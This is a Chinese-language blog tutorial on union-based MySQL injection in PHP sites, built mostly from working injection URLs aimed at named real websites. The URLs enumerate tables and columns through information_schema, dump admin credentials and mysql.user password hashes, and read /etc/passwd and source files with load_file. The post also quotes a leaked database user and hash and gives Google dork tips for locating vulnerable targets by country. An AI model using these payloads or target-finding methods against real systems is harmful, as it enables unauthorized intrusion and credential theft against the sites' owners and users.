mysql注入,PHP+MYSQL注入实例+理论

首先我们在说一下逻辑错误跟语法错误:
最大区别就是语法错误通不过编译器的编译,逻辑错误则能通过。具体的说就是语法错误的意思是该错误违背了此种语言的基本规则,比如必须以分号结束语句的语言用点来结束。
逻辑错误是指算法上的错误。比如循环语句的结束条件没有写,语句能通过编译,但运行后会发生死循环无法跳出的现象。
下面看例子:http://www.jieyanbar.com/jycs.look.php?ID=293
我们加单引号’出错,就是语法错误,因为引号违背了前开后闭的原则。加and+1=2出错,是逻辑错误,计算机设定的就是1不能等于2。
下面我们在说下union:
先到百度搜下union。将两个或更多查询的结果组合为单个结果集,该结果集包含联合查询中的所有查询的全部行。说白了就是union就是前后联合查询。select a,b,c from d where xx=1 这里面的1就表现在url上面就是.php?id=1。如果没有好好的过滤,那么id=1 union select 后面,就要和前面相等。也就是select a,b,c from d where xx=1 union select 1,2,3才能执行,如果不相等,就是逻辑错误。例如: http://www.jieyanbar.com/jycs.look.php?ID=293+and+1=1+union+select+1,2,3 他就提示 The used SELECT statements have a different number of columns 你使用的select语法的字段不一致,就是说你union的字段数只有相等才能继续,这就需要你一直猜数目了。直到猜到5的时候才返回正常页面。
接下来说下注入语句:
http://www.jieyanbar.com/jycs.look.php?ID=-1+union+select+1,2,3,4,5+from+admin http://www.jieyanbar.com/jycs.look.php?ID=-1+union+select+1,2,GROUP_CONCAT(DISTINCT+adminName,0x5c,adminPWD),4,5+from+admin
先说两个函数:group_concat()是全显。concat()和concat_ws()是只显示一个。不过这个办法未免过笨,因为表和字段的名字都需要猜。
然后在说说爆表和字段的方法:
MySQL有这样一个information_schema数据库储存着数据库里面所有的表段名和字段名。 数据库里面的表段的名字在information_schema(schema是图解、计划、模式、概要的意思)数据库的columns表段中,名字就叫table_name而字段名字也在这里,数据库里面的名column_name
http://www.jieyanbar.com/jycs.look.php?ID=-1+union+select+1,2,3,4,5+from+information_schema.columns这样的话,我们可以从+from+information_schema数据的columns表来concat内容。但是上面的语句有个缺点,就是数据库有好几个,连information_schema数据库里面的表段的名称也给concat出来了。那就加个where语句: http://www.jieyanbar.com/jycs.look.php?ID=-1+union+select+1,2,GROUP_CONCAT(DISTINCT+table_name),4,5+from+information_schema.columns+where+table_schema=database()。database()是当前使用的数据库的意思。下面详细说一下information_schema的结构吧! information_schema有个表叫columns。columns里面记录着MySQL里面所有的字段的名称,所有的当然这些记录有属性column_name是字段的名字,table_name是字段所在表段的名字,table_schema是字段所在的数据库的名字,那么带到注入语句当中就是union select group_concat(table_name) from information_schema.columns。不过,有个问题是,如果一个表x中有3个字段,a,b,c,information_schema.columns里面的记录因为abc是三个,所以他们所在的表X就会出现三次。为了避免重复,我们就加个DISTINCT,group_concat(DISTINCT table_name) http://www.jieyanbar.com/jycs.look.php?ID=-1+union+select+1,2,GROUP_CONCAT(DISTINCT+table_name),4,5+from+information_schema.columns+where+table_schema=database() 详细的意思就是,输出当前数据库,全部的不重复的table_name,也就是查询现在所使用的数据库里面都有哪些表段。查表懂了,那么查字段也就简单了我们看上面的语句,有个admin表对吧?这里我们需要把admin进行hex取值(就是换成16进制) select group_concat(DISTINCT column_name) from information_schema.columns where table_name=0x61646d696e (admin的16禁止就是0x61646d696e,在SQL中可以自动识别hex编码)
如果你不转化为hex的话那么where条件就要这么写:where table_name='admin'加引号在服务器会出问题。
http://www.jieyanbar.com/jycs.look.php?ID=-1+union+select+1,2,GROUP_CONCAT(DISTINCT+column_name),4,5+from+information_schema.columns+where+table_name=0x61646d696e
http://www.jieyanbar.com/jycs.look.php?ID=-1+union+select+1,2,GROUP_CONCAT(DISTINCT+column_name),4,5+from+information_schema.columns+where+table_name='admin'
意思是一样的,得到的却不一样
然后是关于MySQL的几个参数:
一般这几个参数,我都是直接复制的http://www.jieyanbar.com/jycs.look.php?ID=-1+union+select+1,concat(user(),database(),version()),3,4,5
concat(user(),database(),version())
不过这样就有个问题,[email protected]连成一片了,分不开,这个时候还得用hex,选择用冒号:来分开这三个参数,冒号的hex就是0x3a
http://www.jieyanbar.com/jycs.look.php?ID=-1+union+select+1,concat(database(),0x3a,user(),0x3a,version()),3,4,5
这三个参数中,database()是当前数据库的名称,现在用的数据库的名字叫什么,database()就显示什么user()是数据库用户,@前面是用户名,@后面是数据库所在的服务器version()是数据库版本,也就是4.x和5.x
然后还有两个用法:一个是load_file()。这个函数对权限要求比较高,通常是独立服务器的大站才有。load_file()意思就是以文本形式读取硬盘文件。用法是 select load_file('文件路径');
例如:
http://www.nicegirlproject.jp/event_Info.php?id=-1+union+select+1,2,3,4,load_file(0x2F6574632F706173737764),6,7,8,9,0,11,12
推荐:http://blackbap.org/?p=archive&id=41这个是Linux的文件结构
一般你不知道load_file()能不能用,需要测试能不能用那就load_file()一个固定有权的文件,Linux就是/etc/passwd而Windows就是c:\\boot.ini。如果load_file这两个文件有回显内容了,说明load_file可用,然后再下一步操作。要测试load_file当然是测试一个肯定有权限读取的文件,有权限读取的文件能读,那说明load_file可以用,如果有权限的文件都不能读出内容,说明管理员把load_file禁用了。load_file需要的权限比较大,管理员禁用的可能性比较大,用之前首先读取boot.ini或者passwd来测试下能不能用。如果一个网站load_file可以用,而你又知道他数据库配置的文件,你会怎么办?当然是load_file()读取MySQL的配置文件,这就是load_file在注入里面的用途
例如:http://www.nicegirlproject.jp/event_Info.php?id=-1+union+select+1,2,3,4,load_file(0x2F6574632F706173737764),6,7,8,9,0,11,12 用法就是这样,在能显示的地方load_file(路径去引号,取值hex)不需要from
还有个需要权限较大的用法,就是读MySQL数据库的user表。
例如:
http://www.bountyclub.dk/matchtour.php?id=-1+union+select+1,2,3,4,group_concat(DISTINCT+user,password),6,7,8,9,10,11,12,13+from+mysql.user--
http://www.jntu.ac.in/photo-category.php?id=-1+union+select+1,2,GROUP_CONCAT(DISTINCT+user,0x3a,password),4,5,6+from+mysql.user
http://www.jntu.ac.in/photo-category.php?id=-1+union+select+1,2,GROUP_CONCAT(DISTINCT+user,0x3a,password,0x3a,file_prive),4,5,6+from+mysql.user 你看这样, 多了个字段file_priv, 后面就多了个Y, file_priv为Y就表示,这个用户可以使用load_file()函数。如果为N表示不能使用load_file()
例如:
http://www.jntu.ac.in/photo-category.php?id=-1+union+select+1,2,GROUP_CONCAT(DISTINCT+user,0x3a,password,0x21212121212121212121212121212121212121,file_priv),4,5,6+from+mysql.user
Y就表示这个数据库用户,允许使用load_file
表示,用户名也就是concat里面的user是ecet2010密码加密后是6bb8f49b0a8ba6c9 不能用load_file。
例如http://www.jntu.ac.in/photo-category.php?id=-1+union+select+1,2,GROUP_CONCAT(DISTINCT+user,0x3a,password,0x21212121212121212121212121212121212121,host),4,5,6+from+mysql.user 把file_priv换成host来看,hsot的设置,这个用户只允许这些计算机登陆localhost是本机%是任何人。 既然这些用户都不能外网登陆怎么办?有两个办法都是先破解这些密码,然后 1,社工管理员密码,这种方法最无聊了,从来没用过 2,破解之后使用phpMyAdmin登陆
load_file是以文本形式回显源码,不过有时候文本中可能有循环嵌套啊,或者是跳转,没法像这样直接看,那就这样: http://www.jntu.ac.in/photo-category.php?id=-1+union+select+1,2,hex(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870)),4,5,6把本来是文本,转化成hex输出,你复制下来,然后本地解码就可以了。
例如:
http://www.szoradi.hu/index.php?oldal=topmenu&mlevel=4&mp_id=-1+union+select+1111111,2,3,4-- http://www.szoradi.hu/index.php?oldal=topmenu&mlevel=4&mp_id=-1+union+select+1111111,2,3,4你比较一下加两个横杠和不加的区别
不加横杠http://www.szoradi.hu/index.php?oldal=topmenu&mlevel=4&mp_id=-1+union+select+1111111,2,3,4出错。加了横杠--不出错,正常了 (所以有的就需要加--或者/*注释掉。因为不清楚程序员是怎么写的代码,所以猜字段数的时候,最好是带上注释符号来猜)
你发现没有的网站直接报错的时候把文件路径爆出来了 /data/sites/szoradi.hu/htdocs/topmenu.php假如load_file没有被禁用,那么咱们load_file找路径就方便了。
最后说下Google的关键字:你可以根据【安全关注】SQL注入点找寻发布帖这个帖子里面大家找的http://bbs.blackbap.org/thread-1729-1-1.html
还有一中方法就是:inurl:.php?id 可以Xid轮番找aid啊bid啊!或者details.php?id=,products.php?id=,cat.php?id=,news.php?id= 多数是有选择性的,例如 inurl:.gr加inurl:.php?id= 希腊的gr域名的或者.tr/grids.php (tr是土耳其,grids在土耳其是login的意思),先找后台,在去前台搞。
Tags:  mysql注入

延伸阅读

最新评论

发表评论